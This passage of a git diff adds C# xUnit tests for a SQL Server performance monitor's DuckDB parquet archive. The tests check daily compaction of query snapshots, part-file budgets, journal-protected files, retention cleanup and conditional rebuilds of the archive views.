+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         /* What a process killed inside a COPY, a compaction merge or a journal write leaves behind. */
         File.WriteAllText(P("20260901_0000_wait_stats.parquet.tmp"), "partial COPY");
@@ -239,8 +247,8 @@ public async Task StaleTempFiles_AreRemovedAtTheStartOfTheNextRun()
     [Fact]
     public async Task ATempNamedByASwapJournalThatIsStillLive_IsKept_WhileOtherTempsGo()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         MakeParquet("202609_t.parquet", 0, 1_000);              /* merged output, in place */
         MakeParquet("20260928_1400_t.parquet", 500, 1_000);      /* folded into the output, not yet deleted */
diff --git a/Lite.Tests/ArchiveNoOpPassViewRebuildTests.cs b/Lite.Tests/ArchiveNoOpPassViewRebuildTests.cs
new file mode 100644
index 0000000000..01acde32d9
--- /dev/null
+++ b/Lite.Tests/ArchiveNoOpPassViewRebuildTests.cs
@@ -0,0 +1,114 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5377: every archive-view rebuild bumps the archive generation and throws away every cached watermark. The
+/// hourly archive pass rebuilt the views in its <c>finally</c> even when it archived nothing and compaction changed
+/// nothing, so each pass cost the next read of each table its watermark. The rebuild now runs only when the
+/// archive's files changed in the pass, and still runs when a pass changed files and then failed.
+/// </summary>
+[Collection("CollectionResetGate")]
+public sealed class ArchiveNoOpPassViewRebuildTests : IDisposable
+{
+    private readonly string _dir = Directory.CreateTempSubdirectory("pm-lite-archive-noop-tests-").FullName;
+    private readonly string _dbPath;
+    private readonly string _archiveDir;
+    private DuckDbInitializer? _duckDb;
+
+    public ArchiveNoOpPassViewRebuildTests()
+    {
+        _dbPath = Path.Combine(_dir, "pm.duckdb");
+        _archiveDir = Path.Combine(_dir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+    }
+
+    public void Dispose()
+    {
+        _duckDb?.Dispose();
+        try { Directory.Delete(_dir, recursive: true); } catch { /* best effort */ }
+    }
+
+    private async Task<ArchiveService> OpenAsync()
+    {
+        _duckDb = new DuckDbInitializer(_dbPath);
+        await _duckDb.InitializeAsync();
+        return new ArchiveService(_duckDb, _archiveDir) { TimestampForTests = "20260901_0000" };
+    }
+
+    private async Task AddOldWaitStatsRowAsync()
+    {
+        using var connection = new DuckDBConnection($"Data Source={_dbPath}");
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type)
+VALUES (1, now() - INTERVAL 30 DAY, 1, 'S1', 'SOS_SCHEDULER_YIELD')";
+        await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    [Fact]
+    public async Task APassThatArchivesNothing_LeavesTheGenerationAlone()
+    {
+        var service = await OpenAsync();
+        var before = _duckDb!.ArchiveViewGeneration;
+
+        await service.ArchiveOldDataAsync();
+        await service.ArchiveOldDataAsync();
+
+        Assert.Equal(before, _duckDb.ArchiveViewGeneration);
+        Assert.Empty(Directory.GetFiles(_archiveDir, "*.parquet"));
+    }
+
+    [Fact]
+    public async Task APassThatArchivesATable_BumpsTheGeneration()
+    {
+        var service = await OpenAsync();
+        await AddOldWaitStatsRowAsync();
+        var before = _duckDb!.ArchiveViewGeneration;
+
+        await service.ArchiveOldDataAsync();
+
+        Assert.NotEmpty(Directory.GetFiles(_archiveDir, "*.parquet"));
+        Assert.True(_duckDb.ArchiveViewGeneration > before, "an archived table did not rebuild the views");
+    }
+
+    [Fact]
+    public async Task APassThatPromotesAFileAndThenFails_StillRebuildsTheViews()
+    {
+        var service = await OpenAsync();
+        await AddOldWaitStatsRowAsync();
+
+        /* The seam fires after the file is promoted and before its rows are deleted, and a plain exception (not a
+           simulated kill) is what a failure there looks like: the per-table catch logs it and the pass goes on. */
+        service.AfterPromoteForTests = table =>
+        {
+            if (table == "wait_stats")
+            {
+                throw new InvalidOperationException("promote-then-fail");
+            }
+        };
+        var rebuilds = 0;
+        _duckDb!.OnArchiveViewRebuildForTests = () => rebuilds++;
+        var before = _duckDb.ArchiveViewGeneration;
+
+        await service.ArchiveOldDataAsync();
+
+        Assert.NotEmpty(Directory.GetFiles(_archiveDir, "*.parquet"));
+        Assert.True(rebuilds > 0, "a pass that left a promoted file behind did not rebuild the views");
+        Assert.True(_duckDb.ArchiveViewGeneration > before);
+    }
+}
diff --git a/Lite.Tests/ArchiveQuerySnapshotsDailyCompactionTests.cs b/Lite.Tests/ArchiveQuerySnapshotsDailyCompactionTests.cs
new file mode 100644
index 0000000000..fa1913f8ea
--- /dev/null
+++ b/Lite.Tests/ArchiveQuerySnapshotsDailyCompactionTests.cs
@@ -0,0 +1,495 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5393. Compaction skipped query_snapshots since #933 (its plan XML expands about 30 times on read, so the
+/// 200 MB merge budget runs out of the 4 GB cap), which left one file per archive pass: up to about 24 a day,
+/// around 2,200 in the 3-month window, every one opened at bind by each <c>v_query_snapshots</c> read. It is now
+/// merged one day at a time into <c>YYYYMMDD_query_snapshots.parquet</c> (and <c>_ptNNN</c> parts) with a much
+/// smaller per-batch input budget. These tests pin the day grouping, the budget split, that a failed merge
+/// leaves its inputs, that the view and a time-windowed read still see every row, that retention removes day
+/// files, and that the table's monthly and imported shapes are still left alone.
+/// </summary>
+public sealed class ArchiveQuerySnapshotsDailyCompactionTests : IDisposable
+{
+    private readonly string _tempDir;
+    private readonly string _archiveDir;
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    public ArchiveQuerySnapshotsDailyCompactionTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _archiveDir = Path.Combine(_tempDir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private string P(string fileName) => Path.Combine(_archiveDir, fileName).Replace("\\", "/");
+
+    private DuckDbInitializer NewInitializer()
+    {
+        var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _initializers.Add(initializer);
+        return initializer;
+    }
+
+    private ArchiveService NewService() => new(NewInitializer(), _archiveDir);
+
+    private static void Exec(string sql)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        cmd.ExecuteNonQuery();
+    }
+
+    private static long Scalar(string sql)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        return Convert.ToInt64(cmd.ExecuteScalar());
+    }
+
+    /* Rows [from, to) over the hour starting at `hour`, one a second, with a payload wide enough that file
+       sizes follow row counts. */
+    private void MakeParquet(string fileName, long from, long to, string hour = "2026-09-28 14:00:00") =>
+        Exec($"COPY (SELECT i AS id, TIMESTAMP '{hour}' + INTERVAL (i - {from}) SECOND AS collection_time, md5(i::VARCHAR) || md5((i + 1)::VARCHAR) AS payload FROM range({from}, {to}) t(i)) TO '{P(fileName)}' (FORMAT PARQUET, ROW_GROUP_SIZE 100)");
+
+    private long SizeOf(string fileName) => new FileInfo(P(fileName).Replace("/", "\\")).Length;
+
+    private string[] ArchiveFileNames() =>
+        Directory.GetFiles(_archiveDir).Select(Path.GetFileName).Order(StringComparer.Ordinal).ToArray()!;
+
+    /* Every row visible through the archive view's two globs for query_snapshots. */
+    private (long Rows, long DistinctIds) Visible()
+    {
+        var globs = new List<string>();
+        foreach (var pattern in new[] { "*_query_snapshots.parquet", "*_query_snapshots_pt???.parquet" })
+        {
+            if (Directory.GetFiles(_archiveDir, pattern).Length > 0)
+                globs.Add(P(pattern));
+        }
+        Assert.NotEmpty(globs);
+        var source = "[" + string.Join(", ", globs.Select(g => $"'{g}'")) + "]";
+        return (Scalar($"SELECT count(*) FROM read_parquet({source})"),
+                Scalar($"SELECT count(DISTINCT id) FROM read_parquet({source})"));
+    }
+
+    [Fact]
+    public void ADaysPerCycleFiles_BecomeOneDayFile_WithTheSameRowsAndColumns()
+    {
+        MakeParquet("20260928_1400_query_snapshots.parquet", 0, 300, "2026-09-28 14:00:00");
+        MakeParquet("20260928_1500_query_snapshots.parquet", 300, 600, "2026-09-28 15:00:00");
+        MakeParquet("20260928_1600_query_snapshots.parquet", 600, 900, "2026-09-28 16:00:00");
+        MakeParquet("20260929_0100_query_snapshots.parquet", 900, 1_000, "2026-09-29 01:00:00");
+        MakeParquet("20260929_0200_query_snapshots.parquet", 1_000, 1_100, "2026-09-29 02:00:00");
+        var columnsBefore = Scalar($"SELECT count(*) FROM (DESCRIBE SELECT * FROM read_parquet('{P("20260928_1400_query_snapshots.parquet")}'))");
+
+        NewService().CompactParquetFiles();
+
+        Assert.Equal(["20260928_query_snapshots.parquet", "20260929_query_snapshots.parquet"], ArchiveFileNames());
+        Assert.Equal(900, Scalar($"SELECT count(*) FROM read_parquet('{P("20260928_query_snapshots.parquet")}')"));
+        Assert.Equal(200, Scalar($"SELECT count(*) FROM read_parquet('{P("20260929_query_snapshots.parquet")}')"));
+        Assert.Equal((1_100L, 1_100L), Visible());
+        Assert.Equal(columnsBefore, Scalar($"SELECT count(*) FROM (DESCRIBE SELECT * FROM read_parquet('{P("20260928_query_snapshots.parquet")}'))"));
+    }
+
+    [Fact]
+    public void ABatchOverTheBudget_SplitsIntoPartFiles_AndKeepsEveryRow()
+    {
+        for (var i = 0; i < 4; i++)
+        {
+            MakeParquet($"20260928_{14 + i}00_query_snapshots.parquet", i * 500, (i + 1) * 500, $"2026-09-28 {14 + i}:00:00");
+        }
+
+        var service = NewService();
+        /* Room for two files per batch, not three: smallest-first greedy batching gives two batches of two. */
+        service.DailyCompactionBatchInputBytes = 2 * Enumerable.Range(0, 4).Max(i => SizeOf($"20260928_{14 + i}00_query_snapshots.parquet")) + 1;
+
+        service.CompactParquetFiles();
+
+        Assert.Equal(["20260928_query_snapshots_pt001.parquet", "20260928_query_snapshots_pt002.parquet"], ArchiveFileNames());
+        Assert.Equal((2_000L, 2_000L), Visible());
+    }
+
+    [Fact]
+    public void NewFiles_GoToANewPt002_WhileAFullPt001StaysAsItIs()
+    {
+        MakeParquet("20260928_query_snapshots_pt001.parquet", 0, 2_000, "2026-09-28 00:00:00");
+        MakeParquet("20260928_1500_query_snapshots.parquet", 2_000, 2_100, "2026-09-28 15:00:00");
+        MakeParquet("20260928_1600_query_snapshots.parquet", 2_100, 2_200, "2026-09-28 16:00:00");
+        var untouched = File.ReadAllBytes(P("20260928_query_snapshots_pt001.parquet").Replace("/", "\\"));
+
+        var service = NewService();
+        /* The existing part fills a batch of its own; the two new files fit one batch together. */
+        service.DailyCompactionBatchInputBytes = SizeOf("20260928_query_snapshots_pt001.parquet");
+
+        service.CompactParquetFiles();
+
+        Assert.Equal(["20260928_query_snapshots_pt001.parquet", "20260928_query_snapshots_pt002.parquet"], ArchiveFileNames());
+        Assert.Equal(untouched, File.ReadAllBytes(P("20260928_query_snapshots_pt001.parquet").Replace("/", "\\")));
+        Assert.Equal((2_200L, 2_200L), Visible());
+    }
+
+    [Fact]
+    public void ASecondPass_FoldsALaterHourIntoTheExistingDayFile()
+    {
+        MakeParquet("20260928_1400_query_snapshots.parquet", 0, 300, "2026-09-28 14:00:00");
+        MakeParquet("20260928_1500_query_snapshots.parquet", 300, 600, "2026-09-28 15:00:00");
+        var service = NewService();
+        service.CompactParquetFiles();
+        Assert.Equal(["20260928_query_snapshots.parquet"], ArchiveFileNames());
+
+        MakeParquet("20260928_1600_query_snapshots.parquet", 600, 900, "2026-09-28 16:00:00");
+        service.CompactParquetFiles();
+
+        Assert.Equal(["20260928_query_snapshots.parquet"], ArchiveFileNames());
+        Assert.Equal((900L, 900L), Visible());
+    }
+
+    [Fact]
+    public void AFileAloneInItsBatch_IsLeftAsItIs()
+    {
+        MakeParquet("20260928_1400_query_snapshots.parquet", 0, 300, "2026-09-28 14:00:00");
+        MakeParquet("20260928_1500_query_snapshots.parquet", 300, 600, "2026-09-28 15:00:00");
+
+        var service = NewService();
+        /* Smaller than either file: nothing fits beside anything, and a file over the budget is not rewritten
+           by itself, which would only rename it while risking the memory the budget bounds. */
+        service.DailyCompactionBatchInputBytes = 1;
+
+        service.CompactParquetFiles();
+
+        Assert.Equal(["20260928_1400_query_snapshots.parquet", "20260928_1500_query_snapshots.parquet"], ArchiveFileNames());
+    }
+
+    [Fact]
+    public void AFailedMerge_LeavesEveryInputInPlace()
+    {
+        MakeParquet("20260928_1400_query_snapshots.parquet", 0, 300, "2026-09-28 14:00:00");
+        MakeParquet("20260928_1500_query_snapshots.parquet", 300, 600, "2026-09-28 15:00:00");
+        File.WriteAllText(P("20260928_1600_query_snapshots.parquet"), "this is not a parquet file");
+
+        /* A second day, whose merge comes after the failed one in the same pass: the failure of one day does
+           not stop the others. */
+        MakeParquet("20260929_1400_query_snapshots.parquet", 1_000, 1_300, "2026-09-29 14:00:00");
+        MakeParquet("20260929_1500_query_snapshots.parquet", 1_300, 1_600, "2026-09-29 15:00:00");
+
+        NewService().CompactParquetFiles();
+
+        Assert.Equal(
+            ["20260928_1400_query_snapshots.parquet", "20260928_1500_query_snapshots.parquet", "20260928_1600_query_snapshots.parquet",
+             "20260929_query_snapshots.parquet"],
+            ArchiveFileNames());
+        Assert.Equal(300, Scalar($"SELECT count(*) FROM read_parquet('{P("20260928_1400_query_snapshots.parquet")}')"));
+        Assert.Equal(600, Scalar($"SELECT count(*) FROM read_parquet('{P("20260929_query_snapshots.parquet")}')"));
+    }
+
+    [Fact]
+    public void TheMonthlyAndImportedShapesOfTheTable_AreStillLeftAlone()
+    {
+        MakeParquet("202609_query_snapshots.parquet", 0, 100);
+        MakeParquet("202609_query_snapshots_pt001.parquet", 100, 200);
+        MakeParquet("imported_202609_query_snapshots.parquet", 200, 300);
+        MakeParquet("imported_20260928_1400_query_snapshots.parquet", 300, 400);
+        MakeParquet("imported_20260928_1500_query_snapshots.parquet", 400, 500);
+
+        NewService().CompactParquetFiles();
+
+        Assert.Equal(
+            ["202609_query_snapshots.parquet", "202609_query_snapshots_pt001.parquet", "imported_20260928_1400_query_snapshots.parquet",
+             "imported_20260928_1500_query_snapshots.parquet", "imported_202609_query_snapshots.parquet"],
+            ArchiveFileNames());
+    }
+
+    [Fact]
+    public void OtherTables_StillMergeIntoOneMonthFile()
+    {
+        MakeParquet("20260928_1400_wait_stats.parquet", 0, 100);
+        MakeParquet("20260929_1400_wait_stats.parquet", 100, 200);
+
+        NewService().CompactParquetFiles();
+
+        Assert.Equal(["202609_wait_stats.parquet"], ArchiveFileNames());
+    }
+
+    /// <summary>
+    /// A day's swap journal is named <c>YYYYMMDD_query_snapshots.swap</c>. The journal reader matched only a
+    /// 6-digit month, so a day whose delete was still pending was merged again over its own journal.
+    /// </summary>
+    [Fact]
+    public void AnInputThatCannotBeDeletedYet_KeepsItsDayOutOfTheMerge_UntilItIsGone()
+    {
+        MakeParquet("20260928_query_snapshots.parquet", 0, 600, "2026-09-28 14:00:00");     /* merged output, in place */
+        MakeParquet("20260928_1400_query_snapshots.parquet", 300, 600, "2026-09-28 14:05:00"); /* folded in, not yet deleted */
+        MakeParquet("20260928_1500_query_snapshots.parquet", 600, 700, "2026-09-28 15:00:00");
+        MakeParquet("20260928_1600_query_snapshots.parquet", 700, 800, "2026-09-28 16:00:00");
+        File.WriteAllLines(P("20260928_query_snapshots.swap"),
+        [
+            "state|swapped",
+            "output|replacing|20260928_query_snapshots.parquet",
+            "input|20260928_1400_query_snapshots.parquet"
+        ]);
+
+        var service = NewService();
+        using (new FileStream(P("20260928_1400_query_snapshots.parquet").Replace("/", "\\"), FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
+        {
+            service.CompactParquetFiles();
+        }
+
+        Assert.True(File.Exists(P("20260928_query_snapshots.swap")), "the journal was dropped while its input still existed");
+        Assert.True(File.Exists(P("20260928_1500_query_snapshots.parquet")), "the day was merged while an earlier swap's delete was still pending");
+
+        service.CompactParquetFiles();
+
+        Assert.Equal(["20260928_query_snapshots.parquet"], ArchiveFileNames());
+        Assert.Equal((800L, 800L), Visible());
+    }
+
+    [Fact]
+    public void RetentionRemovesADayFileAndItsParts_PastTheCutoff()
+    {
+        var old = DateTime.UtcNow.AddMonths(-(RetentionService.ArchiveRetentionMonths + 2));
+        var recent = DateTime.UtcNow;
+        foreach (var name in new[]
+        {
+            $"{old:yyyyMMdd}_query_snapshots.parquet", $"{old:yyyyMMdd}_query_snapshots_pt001.parquet",
+            $"{recent:yyyyMMdd}_query_snapshots.parquet", $"{recent:yyyyMMdd}_query_snapshots_pt001.parquet"
+        })
+        {
+            File.WriteAllText(Path.Combine(_archiveDir, name), "parquet");
+        }
+
+        new RetentionService(_archiveDir).CleanupOldArchives();
+
+        Assert.Equal([$"{recent:yyyyMMdd}_query_snapshots.parquet", $"{recent:yyyyMMdd}_query_snapshots_pt001.parquet"], ArchiveFileNames());
+    }
+
+    /// <summary>
+    /// The real table and view: after compaction <c>v_query_snapshots</c> reads the day files and a read over
+    /// one hour of the day returns that hour's rows (pruned by the footer's collection_time statistics, which
+    /// the day file keeps for every row group).
+    /// </summary>
+    [Fact]
+    public async Task TheViewReadsTheDayFile_AndAWindowedReadStillFindsItsRows()
+    {
+        var initializer = NewInitializer();
+        await initializer.InitializeFromTemplateAsync();
+        var dbPath = Path.Combine(_tempDir, "test.duckdb");
+
+        for (var hour = 14; hour < 17; hour++)
+        {
+            await ArchiveHourAsync(dbPath, $"20260928_{hour}00_query_snapshots.parquet", hour);
+        }
+
+        var service = new ArchiveService(initializer, _archiveDir);
+        service.CompactParquetFiles();
+
+        Assert.Equal(["20260928_query_snapshots.parquet"], ArchiveFileNames());
+
+        await initializer.CreateArchiveViewsAsync();
+        Assert.Equal(3 * RowsPerHour, await ViewScalarAsync(dbPath, "SELECT COUNT(*) FROM v_query_snapshots"));
+        Assert.Equal(RowsPerHour, await ViewScalarAsync(dbPath,
+            "SELECT COUNT(*) FROM v_query_snapshots WHERE collection_time >= TIMESTAMP '2026-09-28 15:00:00' AND collection_time < TIMESTAMP '2026-09-28 16:00:00'"));
+
+        /* Every row group of the day file carries collection_time statistics, and they prune: the day file has
+           several row groups (2,048 rows each, the archive's row-group size), and the one-hour window's range
+           overlaps some of them, not all. That is what lets a windowed read skip the others' plan text. */
+        var meta = $"parquet_metadata('{P("20260928_query_snapshots.parquet")}') WHERE path_in_schema = 'collection_time'";
+        var groups = Scalar($"SELECT count(*) FROM {meta}");
+        Assert.True(groups > 1, $"the day file has {groups} row group(s); a window cannot prune one");
+        Assert.Equal(0, Scalar($"SELECT count(*) FROM {meta} AND stats_min IS NULL"));
+        var overlapping = Scalar($"SELECT count(*) FROM {meta} AND CAST(stats_max AS TIMESTAMP) >= TIMESTAMP '2026-09-28 15:00:00' AND CAST(stats_min AS TIMESTAMP) < TIMESTAMP '2026-09-28 16:00:00'");
+        Assert.True(overlapping > 0 && overlapping < groups, $"{overlapping} of {groups} row groups overlap the one-hour window");
+    }
+
+    /* An hour of rows, one a second: three hours make a day file of about four 2,048-row groups. */
+    private const int RowsPerHour = 2_500;
+
+    /* imported_YYYYMMDD_query_snapshots.parquet (DataImportService prefixes imported_ to a day file) matched no
+       grouping shape, so every pass logged "Unrecognized parquet file format" for it (#5393). It is a day shape
+       of the table, grouped under its month, where compaction leaves it alone. */
+    [Fact]
+    public void AnImportedDayFile_IsRecognised_AndLeftAlone()
+    {
+        MakeParquet("imported_20260928_query_snapshots.parquet", 0, 100);
+        MakeParquet("imported_20260928_query_snapshots_pt001.parquet", 100, 200);
+        var logger = new CapturingLogger();
+
+        new ArchiveService(NewInitializer(), _archiveDir, logger).CompactParquetFiles();
+
+        Assert.Equal(["imported_20260928_query_snapshots.parquet", "imported_20260928_query_snapshots_pt001.parquet"], ArchiveFileNames());
+        Assert.DoesNotContain(logger.Entries, e => e.Message.Contains("Unrecognized parquet file format", StringComparison.Ordinal));
+    }
+
+    /* A live .archive-pending journal means the run that wrote the file died before it deleted the archived
+       rows; recovery finishes that DELETE only while the named file is there. Folding it into the day file and
+       removing it would make recovery read "never written", leave the rows in the table, and export them twice. */
+    [Fact]
+    public void AFileALiveArchiveJournalNames_IsNotFoldedIntoTheDayFile()
+    {
+        MakeParquet("20260928_1400_query_snapshots.parquet", 0, 300, "2026-09-28 14:00:00");
+        MakeParquet("20260928_1500_query_snapshots.parquet", 300, 600, "2026-09-28 15:00:00");
+        MakeParquet("20260928_1600_query_snapshots.parquet", 600, 900, "2026-09-28 16:00:00");
+        File.WriteAllLines(P("query_snapshots.archive-pending"),
+            ["cutoff|2026-09-28T16:00:00.0000000Z", "file|20260928_1600_query_snapshots.parquet"]);
+
+        NewService().CompactParquetFiles();
+
+        Assert.Equal(["20260928_1600_query_snapshots.parquet", "20260928_query_snapshots.parquet", "query_snapshots.archive-pending"], ArchiveFileNames());
+        Assert.Equal(600, Scalar($"SELECT count(*) FROM read_parquet('{P("20260928_query_snapshots.parquet")}')"));
+
+        /* Once the journal is gone the file folds in with the next pass. */
+        File.Delete(P("query_snapshots.archive-pending"));
+        NewService().CompactParquetFiles();
+        Assert.Equal(["20260928_query_snapshots.parquet"], ArchiveFileNames());
+        Assert.Equal(900, Scalar($"SELECT count(*) FROM read_parquet('{P("20260928_query_snapshots.parquet")}')"));
+    }
+
+    /* A first pass over months of per-cycle files merges one day at a time, slowly. Past the pass's time budget it
+       starts no further daily merge, and the rest of the backlog goes on in the next pass. A zero budget lets
+       exactly the first merge start, whatever the machine's speed. */
+    [Fact]
+    public void APassThatSpentItsTimeBudget_LeavesTheRestOfTheBacklogForTheNextPass()
+    {
+        foreach (var day in new[] { 26, 27, 28 })
+        {
+            var baseId = day * 1_000L;
+            MakeParquet($"202609{day}_1400_query_snapshots.parquet", baseId, baseId + 100, $"2026-09-{day} 14:00:00");
+            MakeParquet($"202609{day}_1500_query_snapshots.parquet", baseId + 100, baseId + 200, $"2026-09-{day} 15:00:00");
+        }
+
+        var service = NewService();
+        service.DailyCompactionPassBudget = TimeSpan.Zero;
+        var dayFile = new Regex(@"^\d{8}_query_snapshots\.parquet$");
+        var perCycle = new Regex(@"^\d{8}_\d{4}_query_snapshots\.parquet$");
+
+        service.CompactParquetFiles();
+        Assert.Equal(1, ArchiveFileNames().Count(n => dayFile.IsMatch(n)));
+        Assert.Equal(4, ArchiveFileNames().Count(n => perCycle.IsMatch(n)));
+        Assert.Equal((600L, 600L), Visible());
+
+        service.CompactParquetFiles();
+        service.CompactParquetFiles();
+        Assert.Equal(["20260926_query_snapshots.parquet", "20260927_query_snapshots.parquet", "20260928_query_snapshots.parquet"], ArchiveFileNames());
+        Assert.Equal((600L, 600L), Visible());
+    }
+
+    /* The merge's peak memory follows the row group the writer buffers (#5393), so a daily table's merge output is
+       cut by bytes as well as by rows. Six files of 1,000 rows of about 48 KB of plan text each (290 MB
+       uncompressed): the row limit alone lets the writer pile several files into one group, the 32 MiB byte bound
+       closes a group after each file's chunk. Another table's merge has no byte bound, so it cuts fewer groups. */
+    [Fact]
+    public void TheDailyMerge_CutsRowGroupsByBytes_AndOtherTablesAreNotCut()
+    {
+        var inputs = new List<string>();
+        for (var f = 0; f < 6; f++)
+        {
+            var input = P($"wide_input_{f:D2}.parquet");
+            Exec($"COPY (SELECT i AS id, TIMESTAMP '2026-09-28 14:00:00' + INTERVAL (i) SECOND AS collection_time, (SELECT string_agg(md5(i::VARCHAR || k::VARCHAR), '') FROM range(0, 1500) u(k)) AS query_plan FROM range({f * 1_000}, {(f + 1) * 1_000}) t(i)) TO '{input}' ({ParquetCompaction.ArchiveCopyOptions})");
+            inputs.Add(input);
+        }
+
+        var spill = P("spill");
+        Directory.CreateDirectory(spill);
+        ParquetCompaction.MergeBatchToFile("query_snapshots", inputs, P("out_daily.parquet"), spill, threads: ParquetCompaction.ThreadsFor("query_snapshots"));
+        ParquetCompaction.MergeBatchToFile("wait_stats", inputs, P("out_other.parquet"), spill, threads: 1);
+
+        var daily = RowGroupsOf(P("out_daily.parquet"));
+        var other = RowGroupsOf(P("out_other.parquet"));
+        Assert.True(daily > other, $"{daily} row group(s) in the daily merge output against {other} without the byte bound");
+        Assert.Equal(6_000, Scalar($"SELECT count(*) FROM read_parquet('{P("out_daily.parquet")}')"));
+        Assert.Equal(0, ParquetCompaction.RowGroupBytesFor("wait_stats"));
+        Assert.Equal(ParquetCompaction.DailyRowGroupBytes, ParquetCompaction.RowGroupBytesFor("query_snapshots"));
+        Assert.Contains($"ROW_GROUP_SIZE_BYTES {ParquetCompaction.DailyRowGroupBytes}", ParquetCompaction.BuildArchiveCopyOptions(rowGroupBytes: ParquetCompaction.DailyRowGroupBytes), StringComparison.Ordinal);
+        Assert.DoesNotContain("ROW_GROUP_SIZE_BYTES", ParquetCompaction.ArchiveCopyOptions, StringComparison.Ordinal);
+    }
+
+    private static long RowGroupsOf(string path) =>
+        Scalar($"SELECT count(DISTINCT row_group_id) FROM parquet_metadata('{path}')");
+
+    private sealed class CapturingLogger : ILogger<ArchiveService>
+    {
+        public List<(LogLevel Level, string Message)> Entries { get; } = new();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+            Func<TState, Exception?, string> formatter) => Entries.Add((logLevel, formatter(state, exception)));
+    }
+
+    private static async Task ArchiveHourAsync(string dbPath, string fileName, int hour)
+    {
+        using var connection = new DuckDBConnection($"Data Source={dbPath}");
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using (var insert = connection.CreateCommand())
+        {
+            insert.CommandText = $@"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, cpu_time_ms, total_elapsed_time_ms)
+SELECT {hour} * 10000 + i, TIMESTAMP '2026-09-28 {hour}:00:00' + INTERVAL (i) SECOND, 1, 'example-sql-01', 55, 'Db', 'SELECT ' || i::VARCHAR, 'running', 10, 20 FROM range(0, {RowsPerHour}) t(i)";
+            await insert.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        var path = Path.Combine(Path.GetDirectoryName(dbPath)!, "archive", fileName).Replace("\\", "/");
+        using (var copy = connection.CreateCommand())
+        {
+            copy.CommandText = $"COPY query_snapshots TO '{path}' ({ParquetCompaction.BuildArchiveCopyOptions()})";
+            await copy.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        using var delete = connection.CreateCommand();
+        delete.CommandText = "DELETE FROM query_snapshots";
+        await delete.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    private static async Task<long> ViewScalarAsync(string dbPath, string sql)
+    {
+        using var connection = new DuckDBConnection($"Data Source={dbPath}");
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        return Convert.ToInt64(await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+    }
+}
diff --git a/Lite.Tests/ArchiveQueryStatsDailyCompactionTests.cs b/Lite.Tests/ArchiveQueryStatsDailyCompactionTests.cs
new file mode 100644
index 0000000000..3c411b9c23
--- /dev/null
+++ b/Lite.Tests/ArchiveQueryStatsDailyCompactionTests.cs
@@ -0,0 +1,350 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5410. Compaction merged query_stats and query_store_stats into one file per month, so a one-hour read (the
+/// Queries tab's default window) touched about 15-20% of a month's row groups and decoded about 27 rows for each
+/// one it wanted. They are now merged one day at a time into <c>YYYYMMDD_table.parquet</c> (and <c>_ptNNN</c>
+/// parts), the shape query_snapshots has had since #5393, so the same read touches about 4% of a day's row groups.
+/// These tests mirror ArchiveQuerySnapshotsDailyCompactionTests for both tables, and pin the one thing the switch
+/// can break: a month file written before it and a day file written after it never hold the same row, because
